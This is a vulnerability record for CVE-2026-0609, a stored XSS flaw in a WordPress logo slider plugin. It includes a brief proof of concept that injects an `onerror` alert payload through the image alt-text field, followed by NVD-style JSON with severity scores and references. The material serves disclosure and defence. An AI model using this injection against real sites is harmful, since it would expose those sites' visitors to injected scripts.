CVE-2026-0609

<!-- PoC for CVE-2026-0609 Stored XSS --> <!-- Prerequisites: Author or higher access to WordPress --> <!-- Step 1: Navigate to the Logo Slider creation/edit page --> <!-- Step 2: In the Logo Image settings, locate the 'Alt Text' field --> <!-- Step 3: Inject the following payload --> <img src=x onerror=alert('CVE-2026-0609_Executed')> <!-- Step 4: Save the Slider/Logo --> <!-- Step 5: Visit the page where the slider is displayed --> <!-- Outcome: The alert box will trigger, demonstrating the XSS -->

{"cve": {"id": "CVE-2026-0609", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:51.497", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Logo Slider – Logo Carousel, Logo Showcase & Client Logo Slider Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the image alt text in all versions up to, and including, 4.9.0 due to insufficient input sanitization and output escaping in the 'logo-slider' shortcode. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Logo Slider – Logo Carousel, Logo Showcase &amp; Client Logo Slider Plugin para WordPress es vulnerable a cross-site scripting almacenado a través del texto alternativo de la imagen en todas las versiones hasta la 4.9.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en el shortcode 'logo-slider'. Esto hace posible que atacantes autenticados, con acceso de nivel de autor o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/logo-slider-wp/tags/4.9.0/public/class-logo-slider-wp-public.php?marks=309,314#L309", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b94f388a-c4af-4d3a-bd41-9b2d5d990672?source=cve", "source": "[email protected]"}]}}